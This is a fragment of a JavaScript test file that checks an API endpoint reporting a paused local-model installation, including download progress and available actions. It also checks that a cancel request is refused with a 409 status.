cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
progress: { completedBytes: 6200000000, totalBytes: 23105798956 },
})
);
const service = realService();
const { app } = await harness({ readHardware: async () => LINUX, service: () => service });
const res = await app.inject({ method: 'GET', url: '/api/local-model' });
expect(res.json().data.install).toMatchObject({
state: 'paused',
step: 'model',
running: false,
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
cli: 'opencode',
port: 11435,
progress: { completedBytes: 6200000000, totalBytes: 23105798956, completedGb: '6.2', totalGb: '23.1' },
actions: ['resume', 'install', 'remove'],
});
expect(JSON.parse(readFileSync(STATE(), 'utf8')).state).toBe('paused');
// A second install while that job is only paused is refused for what it asks, not started.
const cancel = await app.inject({ method: 'POST', url: '/api/local-model/cancel' });
expect(cancel.statusCode).toBe(409);
});
});